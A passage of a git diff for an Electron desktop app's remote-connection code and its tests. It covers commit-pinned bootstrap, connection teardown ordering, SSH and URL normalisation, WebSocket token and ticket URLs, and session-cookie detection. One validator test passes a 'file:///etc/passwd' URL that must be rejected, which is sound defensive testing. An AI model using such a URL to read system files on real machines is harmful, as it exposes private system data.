+    } else if (installStamp && !isPinnedCommit(installStamp.commit)) {
+      emit({
+        type: 'log',
+        line: `[bootstrap] fallback stamp resolved marker pin to ${pinnedCommit.slice(0, 12)} from checkout`
+      })
+    }
+
+    const markerPayload = {
+      pinnedCommit,
+      pinnedBranch: installStamp ? installStamp.branch : null
+    }
+
+    const marker = typeof writeMarker === 'function' ? writeMarker(markerPayload) : markerPayload
+    emit({ type: 'complete', marker })
+
+    return { ok: true, marker }
+  } catch (err) {
+    emit({ type: 'failed', error: err.message || String(err) })
+
+    return { ok: false, error: err.message || String(err) }
+  } finally {
+    try {
+      runLog.stream.end()
+    } catch {
+      void 0
+    }
+  }
+}
+
+export {
+  buildPinArgs,
+  buildPosixPinArgs,
+  cachedScriptPath,
+  hasExistingGitCheckout,
+  installedAgentInstallScript,
+  installRefForStamp,
+  isPinnedCommit,
+  // Exposed for testability
+  parseStageResult,
+  resolveCheckoutHead,
+  resolveInstallScript,
+  resolveLocalInstallScript,
+  resolveMarkerPinnedCommit,
+  runBootstrap
+}
diff --git a/ui-desktop/electron/connection-apply.test.ts b/ui-desktop/electron/connection-apply.test.ts
new file mode 100644
index 000000000..ccf697a92
--- /dev/null
+++ b/ui-desktop/electron/connection-apply.test.ts
@@ -0,0 +1,100 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { applyConnectionChange, commitConnectionFailure, resolveTerminalConnection } from './connection-apply'
+
+function deferred() {
+  let resolve!: () => void
+
+  const promise = new Promise<void>(done => {
+    resolve = done
+  })
+
+  return { promise, resolve }
+}
+
+describe('applyConnectionChange', () => {
+  it.each([['SSH A to SSH B'], ['SSH to Cloud'], ['Cloud to SSH']])(
+    'serializes %s behind bootstrap rollback before teardown and apply',
+    async () => {
+      const gate = deferred()
+      const events: string[] = []
+
+      const run = applyConnectionChange({
+        cancelAndWait: async () => {
+          events.push('cancel')
+          await gate.promise
+          events.push('drained')
+        },
+        isPrimary: true,
+        scope: '',
+        sendApplied: () => events.push('applied'),
+        stopPool: vi.fn(),
+        teardownPrimary: async () => {
+          events.push('primary')
+        },
+        teardownSsh: async () => {
+          events.push('ssh')
+        }
+      })
+
+      await Promise.resolve()
+      expect(events).toEqual(['cancel'])
+      gate.resolve()
+      await run
+      expect(events).toEqual(['cancel', 'drained', 'ssh', 'primary', 'applied'])
+    }
+  )
+
+  it('tears down only a non-primary scope without applying the primary connection', async () => {
+    const events: string[] = []
+    await applyConnectionChange({
+      cancelAndWait: async scope => {
+        events.push(`cancel:${scope}`)
+      },
+      isPrimary: false,
+      scope: 'worker',
+      sendApplied: () => events.push('applied'),
+      stopPool: scope => events.push(`pool:${scope}`),
+      teardownPrimary: async () => {
+        events.push('primary')
+      },
+      teardownSsh: async scope => {
+        events.push(`ssh:${scope}`)
+      }
+    })
+    expect(events).toEqual(['cancel:worker', 'ssh:worker', 'pool:worker'])
+  })
+})
+
+describe('resolveTerminalConnection', () => {
+  it('joins an in-flight backend before resolving the SSH terminal target', async () => {
+    const target = { ssh: {}, scope: '' }
+    const getTarget = vi.fn().mockReturnValueOnce('pending').mockReturnValueOnce(target)
+    const ensureBackend = vi.fn(async () => undefined)
+
+    await expect(resolveTerminalConnection(getTarget, ensureBackend)).resolves.toBe(target)
+    expect(ensureBackend).toHaveBeenCalledOnce()
+  })
+
+  it('does not start a local terminal while configured SSH remains unavailable', async () => {
+    await expect(
+      resolveTerminalConnection(
+        () => 'pending',
+        async () => undefined
+      )
+    ).rejects.toThrow('not ready')
+  })
+})
+
+describe('commitConnectionFailure', () => {
+  it('prevents a stale bootstrap from publishing failure state', () => {
+    const stale = Promise.resolve('stale')
+    const current = Promise.resolve('current')
+    const commit = vi.fn()
+
+    expect(commitConnectionFailure(current, stale, commit)).toBe(false)
+    expect(commit).not.toHaveBeenCalled()
+    expect(commitConnectionFailure(current, current, commit)).toBe(true)
+    expect(commit).toHaveBeenCalledOnce()
+  })
+})
diff --git a/ui-desktop/electron/connection-apply.ts b/ui-desktop/electron/connection-apply.ts
new file mode 100644
index 000000000..579af1a79
--- /dev/null
+++ b/ui-desktop/electron/connection-apply.ts
@@ -0,0 +1,57 @@
+async function applyConnectionChange({
+  cancelAndWait,
+  isPrimary,
+  rehomePrimary = null,
+  scope,
+  sendApplied,
+  stopPool,
+  teardownPrimary,
+  teardownSsh
+}) {
+  await cancelAndWait(scope)
+  await teardownSsh(scope)
+
+  if (!isPrimary) {
+    stopPool(scope)
+
+    return
+  }
+
+  if (rehomePrimary) {
+    await rehomePrimary()
+
+    return
+  }
+
+  await teardownPrimary()
+  sendApplied()
+}
+
+function commitConnectionFailure(current, starting, commit) {
+  if (current !== starting) {
+    return false
+  }
+
+  commit()
+
+  return true
+}
+
+async function resolveTerminalConnection(getTarget, ensureBackend) {
+  let target = getTarget()
+
+  if (target !== 'pending') {
+    return target
+  }
+
+  await ensureBackend()
+  target = getTarget()
+
+  if (target === 'pending') {
+    throw new Error('Remote connection is not ready yet. Try again in a moment.')
+  }
+
+  return target
+}
+
+export { applyConnectionChange, commitConnectionFailure, resolveTerminalConnection }
diff --git a/ui-desktop/electron/connection-config.test.ts b/ui-desktop/electron/connection-config.test.ts
new file mode 100644
index 000000000..558b5eb7f
--- /dev/null
+++ b/ui-desktop/electron/connection-config.test.ts
@@ -0,0 +1,700 @@
+/**
+ * Tests for electron/connection-config.ts.
+ *
+ * Run with: node --test electron/connection-config.test.ts
+ * (Wire into npm test:desktop:platforms in package.json.)
+ *
+ * These are the pure helpers behind the remote-gateway connection settings:
+ * URL normalization, WS-URL construction (token vs OAuth ticket), auth-mode
+ * classification from /api/status, the coerce-time auth-mode resolution rules,
+ * and the OAuth session-cookie detector.
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  AT_COOKIE_VARIANTS,
+  authModeFromStatus,
+  buildGatewayWsUrl,
+  buildGatewayWsUrlWithTicket,
+  connectionScopeKey,
+  cookiesHaveLiveSession,
+  cookiesHavePrivySession,
+  cookiesHaveSession,
+  gatewayTicketFailure,
+  gatewayWsUrlIpcResult,
+  isGatewayAuthRejection,
+  localProfileEntry,
+  modeIsRemoteLike,
+  normalizeRemoteBaseUrl,
+  normalizeSshConfig,
+  normAuthMode,
+  pathWithGlobalRemoteProfile,
+  profileHasRemoteConnection,
+  profileRemoteOverride,
+  profileSshOverride,
+  resolveAuthMode,
+  resolveProfileBackendRoute,
+  resolveTestWsUrl,
+  RT_COOKIE_VARIANTS,
+  savedProfileSsh,
+  tokenPreview
+} from './connection-config'
+
+// --- connectionScopeKey / normAuthMode ---
+
+test('connectionScopeKey trims to a name or null for the global scope', () => {
+  assert.equal(connectionScopeKey('  coder '), 'coder')
+  assert.equal(connectionScopeKey(''), null)
+  assert.equal(connectionScopeKey(null), null)
+  assert.equal(connectionScopeKey(undefined), null)
+})
+
+test('normAuthMode coerces to token unless explicitly oauth', () => {
+  assert.equal(normAuthMode('oauth'), 'oauth')
+  assert.equal(normAuthMode('token'), 'token')
+  assert.equal(normAuthMode(undefined), 'token')
+  assert.equal(normAuthMode('weird'), 'token')
+})
+
+// --- modeIsRemoteLike ---
+
+test('modeIsRemoteLike is true for remote and cloud, false otherwise', () => {
+  // cloud resolves to a remote backend under the hood (Q6), so every resolution
+  // site treats it like remote.
+  assert.equal(modeIsRemoteLike('remote'), true)
+  assert.equal(modeIsRemoteLike('cloud'), true)
+  assert.equal(modeIsRemoteLike('local'), false)
+  assert.equal(modeIsRemoteLike(undefined), false)
+  assert.equal(modeIsRemoteLike(null), false)
+  assert.equal(modeIsRemoteLike('weird'), false)
+})
+
+// --- profileRemoteOverride ---
+
+test('profileRemoteOverride returns null when no profile is given', () => {
+  const config = { profiles: { coder: { mode: 'remote', url: 'https://x' } } }
+  assert.equal(profileRemoteOverride(config, ''), null)
+  assert.equal(profileRemoteOverride(config, null), null)
+  assert.equal(profileRemoteOverride(config, undefined), null)
+})
+
+test('profileRemoteOverride returns null when the profile has no entry', () => {
+  const config = { profiles: { coder: { mode: 'remote', url: 'https://x' } } }
+  assert.equal(profileRemoteOverride(config, 'writer'), null)
+})
+
+test('profileRemoteOverride ignores local or url-less profile entries', () => {
+  assert.equal(profileRemoteOverride({ profiles: { p: { mode: 'local', url: 'https://x' } } }, 'p'), null)
+  assert.equal(profileRemoteOverride({ profiles: { p: { mode: 'remote', url: '' } } }, 'p'), null)
+  assert.equal(profileRemoteOverride({ profiles: { p: { mode: 'remote' } } }, 'p'), null)
+})
+
+test('profileRemoteOverride returns the per-profile remote with defaulted auth mode', () => {
+  const config = {
+    profiles: {
+      coder: { mode: 'remote', url: '  https://coder.example.com/clawcodex  ', token: { value: 'sek' } }
+    }
+  }
+
+  assert.deepEqual(profileRemoteOverride(config, 'coder'), {
+    url: 'https://coder.example.com/clawcodex',
+    authMode: 'token',
+    token: { value: 'sek' }
+  })
+})
+
+test('profileRemoteOverride preserves an explicit oauth auth mode', () => {
+  const config = { profiles: { coder: { mode: 'remote', url: 'https://x', authMode: 'oauth' } } }
+  assert.equal(profileRemoteOverride(config, 'coder').authMode, 'oauth')
+})
+
+test('profileRemoteOverride treats a cloud entry as a remote override', () => {
+  // A 'cloud' per-profile entry resolves to the same remote backend a 'remote'
+  // entry would (Q6) — the override must be returned, not dropped.
+  const config = {
+    profiles: {
+      coder: { mode: 'cloud', url: 'https://agent-1.agents.github.com/agentforce314/clawcodex', authMode: 'oauth' }
+    }
+  }
+
+  assert.deepEqual(profileRemoteOverride(config, 'coder'), {
+    url: 'https://agent-1.agents.github.com/agentforce314/clawcodex',
+    authMode: 'oauth',
+    token: undefined
+  })
+})
+
+test('profileRemoteOverride tolerates a missing/!object profiles map', () => {
+  assert.equal(profileRemoteOverride({}, 'coder'), null)
+  assert.equal(profileRemoteOverride({ profiles: null }, 'coder'), null)
+  assert.equal(profileRemoteOverride(null, 'coder'), null)
+})
+
+test('SSH remains separate from URL-shaped remote modes and preserves an explicit remote profile', () => {
+  assert.equal(modeIsRemoteLike('ssh'), false)
+
+  const config = {
+    profiles: { coder: { mode: 'ssh', host: 'alice@box:2222', keyPath: '/key', remoteProfile: 'default' } }
+  }
+
+  assert.equal(profileRemoteOverride(config, 'coder'), null)
+
+  assert.deepEqual(profileSshOverride(config, 'coder'), {
+    mode: 'ssh',
+    host: 'box',
+    user: 'alice',
+    port: 2222,
+    keyPath: '/key',
+    remoteProfile: 'default'
+  })
+})
+
+test('normalizeSshConfig rejects unsafe remote profile mappings', () => {
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', remoteProfile: 'writer_2' }), {
+    mode: 'ssh',
+    host: 'box',
+    remoteProfile: 'writer_2'
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', remoteProfile: 'bad profile' }), {
+    mode: 'ssh',
+    host: 'box'
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', remoteProfile: '' }), {
+    mode: 'ssh',
+    host: 'box'
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', remoteProfile: 'root' }), {
+    mode: 'ssh',
+    host: 'box'
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', remoteProfile: 'default' }), {
+    mode: 'ssh',
+    host: 'box',
+    remoteProfile: 'default'
+  })
+})
+
+test('normalizeSshConfig handles IPv6 and strict port bounds', () => {
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: '::1', port: 22 }), {
+    mode: 'ssh',
+    host: '::1'
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: '[::1]:2222' }), {
+    mode: 'ssh',
+    host: '::1',
+    port: 2222
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', port: '2222junk' }), {
+    mode: 'ssh',
+    host: 'box'
+  })
+  assert.deepEqual(normalizeSshConfig({ mode: 'ssh', host: 'box', port: 65536 }), {
+    mode: 'ssh',
+    host: 'box'
+  })
+})
+
+test('localProfileEntry preserves inactive SSH drafts but drops Cloud state', () => {
+  const ssh = { mode: 'ssh', host: 'box', user: 'alice', remoteClawCodexPath: '/clawcodex' }
+  assert.deepEqual(localProfileEntry(ssh), { mode: 'local', savedSsh: ssh })
+  assert.deepEqual(localProfileEntry({ mode: 'local', savedSsh: ssh }), {
+    mode: 'local',
+    savedSsh: ssh
+  })
+  assert.equal(localProfileEntry({ mode: 'cloud', url: 'https://agent' }), null)
+})
+
+test('saved SSH drafts are inactive and explicit overrides take precedence', () => {
+  const saved = { mode: 'ssh', host: 'saved' }
+  const config: any = { profiles: { coder: { mode: 'local', savedSsh: saved } } }
+  assert.deepEqual(savedProfileSsh(config, 'coder'), saved)
+  assert.equal(profileSshOverride(config, 'coder'), null)
+  assert.equal(profileHasRemoteConnection(config, 'coder'), false)
+
+  config.profiles.coder = { mode: 'ssh', host: 'active' }
+  assert.deepEqual(profileSshOverride(config, 'coder'), { mode: 'ssh', host: 'active' })
+  assert.equal(profileHasRemoteConnection(config, 'coder'), true)
+})
+
+// --- resolveProfileBackendRoute ---
+
+const ROUTES = [
+  {
+    name: 'the primary profile owns the window backend',
+    profile: 'default',
+    opts: { primaryProfile: 'default' },
+    expected: { backend: 'primary', descriptorProfile: null, scopePath: false }
+  },
+  {
+    name: 'a renamed primary profile still owns the window backend',
+    profile: ' coder ',
+    opts: { primaryProfile: 'coder', globalRemote: true },
+    expected: { backend: 'primary', descriptorProfile: null, scopePath: false }
+  },
+  {
+    name: 'an unset profile resolves to the primary',
+    profile: '',
+    opts: { primaryProfile: 'default', globalRemote: true },
+    expected: { backend: 'primary', descriptorProfile: null, scopePath: false }
+  },
+  {
+    name: 'a profile inheriting the app-global remote shares the primary backend, scoped per request',
+    profile: 'coder',
+    opts: { primaryProfile: 'default', globalRemote: true, profileRemoteOverride: false },
+    expected: { backend: 'primary', descriptorProfile: 'coder', scopePath: true }
+  },
+  {
+    name: 'a profile with its own remote override gets a pooled descriptor for that host',
+    profile: 'coder',
+    opts: { primaryProfile: 'default', globalRemote: true, profileRemoteOverride: true },
+    expected: { backend: 'pool', descriptorProfile: null, scopePath: false }
+  },
+  {
+    name: 'a local non-primary profile gets its own pooled backend',
+    profile: 'coder',
+    opts: { primaryProfile: 'default', globalRemote: false, profileRemoteOverride: false },
+    expected: { backend: 'pool', descriptorProfile: null, scopePath: false }
+  }
+]
+
+for (const route of ROUTES) {
+  test(`resolveProfileBackendRoute: ${route.name}`, () => {
+    assert.deepEqual(resolveProfileBackendRoute(route.profile, route.opts), route.expected)
+  })
+}
+
+test('resolveProfileBackendRoute only tags a descriptor when the backend is shared', () => {
+  // A pooled backend is already scoped to its profile, so tagging it would
+  // imply a second scope the caller must reconcile. Only the shared
+  // global-remote route carries one.
+  for (const route of ROUTES) {
+    const resolved = resolveProfileBackendRoute(route.profile, route.opts)
+
+    assert.equal(Boolean(resolved.descriptorProfile), resolved.scopePath)
+    assert.ok(!resolved.descriptorProfile || resolved.backend === 'primary')
+  }
+})
+
+// --- pathWithGlobalRemoteProfile ---
+
+test('pathWithGlobalRemoteProfile appends profile in global remote mode', () => {
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/info', 'iris', {
+      globalRemote: true,
+      profileRemoteOverride: false
+    }),
+    '/api/model/info?profile=iris'
+  )
+})
+
+test('pathWithGlobalRemoteProfile skips the primary profile, which the remote already serves', () => {
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/info', 'coder', {
+      globalRemote: true,
+      primaryProfile: 'coder',
+      profileRemoteOverride: false
+    }),
+    '/api/model/info'
+  )
+})
+
+test('pathWithGlobalRemoteProfile preserves existing query params', () => {
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/options?force=1', 'iris', {
+      globalRemote: true,
+      profileRemoteOverride: false
+    }),
+    '/api/model/options?force=1&profile=iris'
+  )
+})
+
+test('pathWithGlobalRemoteProfile does not replace an explicit profile query', () => {
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/info?profile=default', 'iris', {
+      globalRemote: true,
+      profileRemoteOverride: false
+    }),
+    '/api/model/info?profile=default'
+  )
+})
+
+test('pathWithGlobalRemoteProfile skips local and per-profile remote override paths', () => {
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/info', 'iris', {
+      globalRemote: false,
+      profileRemoteOverride: false
+    }),
+    '/api/model/info'
+  )
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/info', 'iris', {
+      globalRemote: true,
+      profileRemoteOverride: true
+    }),
+    '/api/model/info'
+  )
+})
+
+test('pathWithGlobalRemoteProfile skips empty profile/path safely', () => {
+  assert.equal(
+    pathWithGlobalRemoteProfile('/api/model/info', '', {
+      globalRemote: true,
+      profileRemoteOverride: false
+    }),
+    '/api/model/info'
+  )
+  assert.equal(
+    pathWithGlobalRemoteProfile('', 'iris', {
+      globalRemote: true,
+      profileRemoteOverride: false
+    }),
+    ''
+  )
+})
+
+// --- normalizeRemoteBaseUrl ---
+
+test('normalizeRemoteBaseUrl strips trailing slashes, hash, and query', () => {
+  assert.equal(normalizeRemoteBaseUrl('https://gw.example.com/'), 'https://gw.example.com')
+  assert.equal(normalizeRemoteBaseUrl('https://gw.example.com/clawcodex/'), 'https://gw.example.com/clawcodex')
+  assert.equal(normalizeRemoteBaseUrl('https://gw.example.com/clawcodex?x=1#frag'), 'https://gw.example.com/clawcodex')
+})
+
+test('normalizeRemoteBaseUrl preserves a path prefix', () => {
+  assert.equal(normalizeRemoteBaseUrl('https://host/clawcodex'), 'https://host/clawcodex')
+})
+
+test('normalizeRemoteBaseUrl rejects empty input', () => {
+  assert.throws(() => normalizeRemoteBaseUrl(''), /required/)
+  assert.throws(() => normalizeRemoteBaseUrl('   '), /required/)
+})
+
+test('normalizeRemoteBaseUrl rejects non-http(s) protocols', () => {
+  assert.throws(() => normalizeRemoteBaseUrl('ftp://host'), /http:\/\/ or https:\/\//)
+  assert.throws(() => normalizeRemoteBaseUrl('file:///etc/passwd'), /http:\/\/ or https:\/\//)
+})
+
+test('normalizeRemoteBaseUrl rejects garbage', () => {
+  assert.throws(() => normalizeRemoteBaseUrl('not a url'), /not valid/)
+})
+
+test('normalizeRemoteBaseUrl auto-prepends http:// for scheme-less host:port input', () => {
+  assert.equal(normalizeRemoteBaseUrl('100.64.0.1:9119'), 'http://100.64.0.1:9119')
+  assert.equal(normalizeRemoteBaseUrl('mini.tailnet-1234.ts.net:9119'), 'http://mini.tailnet-1234.ts.net:9119')
+  assert.equal(normalizeRemoteBaseUrl('localhost:9119'), 'http://localhost:9119')
+  assert.equal(normalizeRemoteBaseUrl('gw.example.com'), 'http://gw.example.com')
+  assert.equal(normalizeRemoteBaseUrl('gw.example.com/clawcodex/'), 'http://gw.example.com/clawcodex')
+})
+
+test('normalizeRemoteBaseUrl still rejects explicit non-http(s) schemes after scheme-less handling', () => {
+  assert.throws(() => normalizeRemoteBaseUrl('ws://host:9119'), /http:\/\/ or https:\/\//)
+  assert.throws(() => normalizeRemoteBaseUrl('ftp://host:21'), /http:\/\/ or https:\/\//)
+})
+
+// --- buildGatewayWsUrl (token) ---
+
+test('buildGatewayWsUrl uses wss for https and bakes the token', () => {
+  assert.equal(buildGatewayWsUrl('https://gw.example.com', 'tok123'), 'wss://gw.example.com/api/ws?token=tok123')
+})
+
+test('buildGatewayWsUrl uses ws for http', () => {
+  assert.equal(buildGatewayWsUrl('http://127.0.0.1:9119', 'abc'), 'ws://127.0.0.1:9119/api/ws?token=abc')
+})
+
+test('buildGatewayWsUrl honors a path prefix', () => {
+  assert.equal(buildGatewayWsUrl('https://host/clawcodex', 't'), 'wss://host/clawcodex/api/ws?token=t')
+})
+
+test('buildGatewayWsUrl url-encodes the token', () => {
+  assert.equal(buildGatewayWsUrl('https://host', 'a/b c+d'), 'wss://host/api/ws?token=a%2Fb%20c%2Bd')
+})
+
+// --- buildGatewayWsUrlWithTicket (oauth) ---
+
+test('buildGatewayWsUrlWithTicket uses ?ticket= not ?token=', () => {
+  const url = buildGatewayWsUrlWithTicket('https://gw.example.com/clawcodex', 'tkt-9')
+  assert.equal(url, 'wss://gw.example.com/clawcodex/api/ws?ticket=tkt-9')
+  assert.ok(!url.includes('token='))
+})
+
+test('buildGatewayWsUrlWithTicket url-encodes the ticket', () => {
+  assert.equal(buildGatewayWsUrlWithTicket('https://host', 'a+b/c'), 'wss://host/api/ws?ticket=a%2Bb%2Fc')
+})
+
+// --- authModeFromStatus ---
+
+test('authModeFromStatus returns oauth when auth_required is true', () => {
+  assert.equal(authModeFromStatus({ auth_required: true, auth_providers: ['nous'] }), 'oauth')
+})
+
+test('authModeFromStatus returns token when auth_required is false/missing', () => {
+  assert.equal(authModeFromStatus({ auth_required: false }), 'token')
+  assert.equal(authModeFromStatus({}), 'token')
+  assert.equal(authModeFromStatus(null), 'token')
+  assert.equal(authModeFromStatus(undefined), 'token')
+})
+
+// --- resolveAuthMode ---
+
+test('resolveAuthMode: explicit input wins over existing', () => {
+  assert.equal(resolveAuthMode('oauth', 'token'), 'oauth')
+  assert.equal(resolveAuthMode('token', 'oauth'), 'token')
+})
+
+test('resolveAuthMode: falls back to existing when input absent', () => {
+  assert.equal(resolveAuthMode(undefined, 'oauth'), 'oauth')
+  assert.equal(resolveAuthMode(undefined, 'token'), 'token')
+  assert.equal(resolveAuthMode('', 'oauth'), 'oauth')
+})
+
+test('resolveAuthMode: defaults to token when nothing is set', () => {
+  assert.equal(resolveAuthMode(undefined, undefined), 'token')
+  assert.equal(resolveAuthMode(null, null), 'token')
+})
+
+test('resolveAuthMode: ignores unknown values, defaults to token', () => {
+  assert.equal(resolveAuthMode('bogus', 'also-bogus'), 'token')
+})
+
+// --- cookiesHaveSession ---
+
+test('cookiesHaveSession detects the bare access-token cookie', () => {
+  assert.equal(cookiesHaveSession([{ name: 'clawcodex_session_at', value: 'x' }]), true)
+})
+
+test('cookiesHaveSession detects the __Host- and __Secure- prefixed variants', () => {
+  assert.equal(cookiesHaveSession([{ name: '__Host-clawcodex_session_at', value: 'x' }]), true)
+  assert.equal(cookiesHaveSession([{ name: '__Secure-clawcodex_session_at', value: 'x' }]), true)
+})
+
+test('cookiesHaveSession is false for an empty value', () => {
+  assert.equal(cookiesHaveSession([{ name: 'clawcodex_session_at', value: '' }]), false)
+})
+
+test('cookiesHaveSession ignores unrelated cookies (AT-only by design)', () => {
+  // cookiesHaveSession is deliberately access-token-only — a lone RT cookie
+  // is NOT an access token, so this returns false. Connectivity callers must
+  // use cookiesHaveLiveSession instead (see below).
+  assert.equal(cookiesHaveSession([{ name: 'clawcodex_session_rt', value: 'x' }]), false)
+  assert.equal(cookiesHaveSession([{ name: 'other', value: 'x' }]), false)
+})
+
+test('cookiesHaveSession handles non-arrays', () => {
+  assert.equal(cookiesHaveSession(null), false)
+  assert.equal(cookiesHaveSession(undefined), false)
+  assert.equal(cookiesHaveSession([]), false)
+})
+
+test('AT_COOKIE_VARIANTS covers all three deploy shapes', () => {
+  assert.deepEqual(AT_COOKIE_VARIANTS, ['__Host-clawcodex_session_at', '__Secure-clawcodex_session_at', 'clawcodex_session_at'])
+})
+
+test('RT_COOKIE_VARIANTS covers all three deploy shapes', () => {
+  assert.deepEqual(RT_COOKIE_VARIANTS, ['__Host-clawcodex_session_rt', '__Secure-clawcodex_session_rt', 'clawcodex_session_rt'])
+})
+
+// --- cookiesHaveLiveSession (AT or RT — the connectivity check) ---
+
+test('cookiesHaveLiveSession is true for a live access-token cookie', () => {
+  assert.equal(cookiesHaveLiveSession([{ name: 'clawcodex_session_at', value: 'x' }]), true)
+  assert.equal(cookiesHaveLiveSession([{ name: '__Host-clawcodex_session_at', value: 'x' }]), true)
+  assert.equal(cookiesHaveLiveSession([{ name: '__Secure-clawcodex_session_at', value: 'x' }]), true)
+})
+
+test('cookiesHaveLiveSession is true for an RT cookie even with NO access-token cookie', () => {
+  // This is the bug-fix case: the AT cookie has lapsed (dropped from the jar)
+  // but the 24h RT cookie is still alive. The session is still connectable —
+  // the gateway rotates a fresh AT from the RT on the next request.
+  assert.equal(cookiesHaveLiveSession([{ name: 'clawcodex_session_rt', value: 'x' }]), true)
+  assert.equal(cookiesHaveLiveSession([{ name: '__Host-clawcodex_session_rt', value: 'x' }]), true)
+  assert.equal(cookiesHaveLiveSession([{ name: '__Secure-clawcodex_session_rt', value: 'x' }]), true)
+})
+
+test('cookiesHaveLiveSession is true when both AT and RT are present', () => {
+  assert.equal(
+    cookiesHaveLiveSession([
+      { name: 'clawcodex_session_at', value: 'a' },
+      { name: 'clawcodex_session_rt', value: 'r' }
+    ]),
+    true
+  )
+})
+
+test('cookiesHaveLiveSession is false for empty values', () => {
+  assert.equal(cookiesHaveLiveSession([{ name: 'clawcodex_session_at', value: '' }]), false)
+  assert.equal(cookiesHaveLiveSession([{ name: 'clawcodex_session_rt', value: '' }]), false)
+  assert.equal(
+    cookiesHaveLiveSession([
+      { name: 'clawcodex_session_at', value: '' },
+      { name: 'clawcodex_session_rt', value: '' }
+    ]),
+    false
+  )
+})
+
+test('cookiesHaveLiveSession is false for unrelated cookies and non-arrays', () => {
+  assert.equal(cookiesHaveLiveSession([{ name: 'other', value: 'x' }]), false)
+  assert.equal(cookiesHaveLiveSession(null), false)
+  assert.equal(cookiesHaveLiveSession(undefined), false)
+  assert.equal(cookiesHaveLiveSession([]), false)
+})
+
+// --- cookiesHavePrivySession (Nous portal / Privy auth, NOT gateway cookies) ---
+
+test('cookiesHavePrivySession detects the privy-token access cookie', () => {
+  assert.equal(cookiesHavePrivySession([{ name: 'privy-token', value: 'jwt' }]), true)
+})
+
+test('cookiesHavePrivySession detects __Host-/__Secure- prefixes and the legacy privy-session name', () => {
+  assert.equal(cookiesHavePrivySession([{ name: '__Host-privy-token', value: 'x' }]), true)
+  assert.equal(cookiesHavePrivySession([{ name: '__Secure-privy-token', value: 'x' }]), true)
+  assert.equal(cookiesHavePrivySession([{ name: 'privy-session', value: 'x' }]), true)
+})
+
+test('cookiesHavePrivySession is false for an empty value', () => {
+  assert.equal(cookiesHavePrivySession([{ name: 'privy-token', value: '' }]), false)
+})
+
+test('cookiesHavePrivySession does NOT treat clawcodex gateway cookies as a portal session', () => {
+  // The whole point of Q7: a gateway session cookie is NOT a portal sign-in.
+  assert.equal(cookiesHavePrivySession([{ name: 'clawcodex_session_at', value: 'x' }]), false)
+  assert.equal(cookiesHavePrivySession([{ name: '__Host-clawcodex_session_rt', value: 'x' }]), false)
+})
+
+test('cookiesHavePrivySession is false for unrelated cookies and non-arrays', () => {
+  assert.equal(cookiesHavePrivySession([{ name: 'other', value: 'x' }]), false)
+  assert.equal(cookiesHavePrivySession(null), false)
+  assert.equal(cookiesHavePrivySession(undefined), false)
+  assert.equal(cookiesHavePrivySession([]), false)
+})
+
+// --- tokenPreview ---
+
+test('tokenPreview returns null for empty', () => {
+  assert.equal(tokenPreview(''), null)
+  assert.equal(tokenPreview(null), null)
+})
+
+test('tokenPreview returns set for short tokens', () => {
+  assert.equal(tokenPreview('12345678'), 'set')
+})
+
+test('tokenPreview returns a masked suffix for long tokens', () => {
+  assert.equal(tokenPreview('abcdefghijklmnop'), '...klmnop')
+})
+
+// --- resolveTestWsUrl ---
+//
+// The "Test remote" button must exercise the same WS transport the app uses,
+// and must FAIL (not skip) when an OAuth session can't mint a ws-ticket — that
+// is the exact false-positive PR #39098 set out to eliminate.
+
+test('resolveTestWsUrl (token mode) builds a ?token= URL the WS probe can use', async () => {
+  const url = await resolveTestWsUrl('https://gw.example.com', 'token', 'tok123')
+  assert.equal(url, 'wss://gw.example.com/api/ws?token=tok123')
+})
+
+test('resolveTestWsUrl (token mode, no token) returns null — genuine skip', async () => {
+  assert.equal(await resolveTestWsUrl('https://gw.example.com', 'token', null), null)
+})
+
+test('resolveTestWsUrl (oauth, mint ok) builds a ?ticket= URL', async () => {
+  const url = await resolveTestWsUrl('https://gw.example.com', 'oauth', null, {
+    mintTicket: async () => 'tkt-9'
+  })
+
+  assert.equal(url, 'wss://gw.example.com/api/ws?ticket=tkt-9')
+})
+
+test('resolveTestWsUrl (oauth, auth rejected) requests sign-in and does not skip WS validation', async () => {
+  const cause = Object.assign(new Error('ticket mint failed'), { statusCode: 401 })
+
+  await assert.rejects(
+    () =>
+      resolveTestWsUrl('https://gw.example.com', 'oauth', null, {
+        mintTicket: async () => {
+          throw cause
+        }
+      }),
+    (err: any) => {
+      // Actionable, points the user at re-auth, and preserves the cause + flag
+      // the boot overlay uses to offer a sign-in prompt.
+      assert.match(err.message, /WebSocket ticket/i)
+      assert.match(err.message, /sign in again/i)
+      assert.equal(err.needsOauthLogin, true)
+      assert.ok(err.cause instanceof Error)
+
+      return true
+    }
+  )
+})
+
+test('resolveTestWsUrl (oauth, transport failure) remains a retryable connection error', async () => {
+  const cause = new Error('socket timed out')
+
+  await assert.rejects(
+    () =>
+      resolveTestWsUrl('https://gw.example.com', 'oauth', null, {
+        mintTicket: async () => {
+          throw cause
+        }
+      }),
+    (err: any) => {
+      assert.match(err.message, /could not mint a WebSocket ticket/i)
+      assert.equal(err.needsOauthLogin, undefined)
+      assert.equal(err.cause, cause)
+
+      return true
+    }
+  )
+})
+
+test('gateway ticket failures classify only explicit auth rejection statuses as reauth', () => {
+  assert.equal(isGatewayAuthRejection({ statusCode: 401 }), true)
+  assert.equal(isGatewayAuthRejection({ statusCode: 403 }), true)
+  assert.equal(isGatewayAuthRejection({ needsOauthLogin: true }), true)
+  assert.equal(isGatewayAuthRejection({ statusCode: 500 }), false)
+  assert.equal(isGatewayAuthRejection(new Error('network timeout')), false)
+
+  const serverFailure = gatewayTicketFailure(new Error('network timeout'), 'sign in', 'retry connection') as any
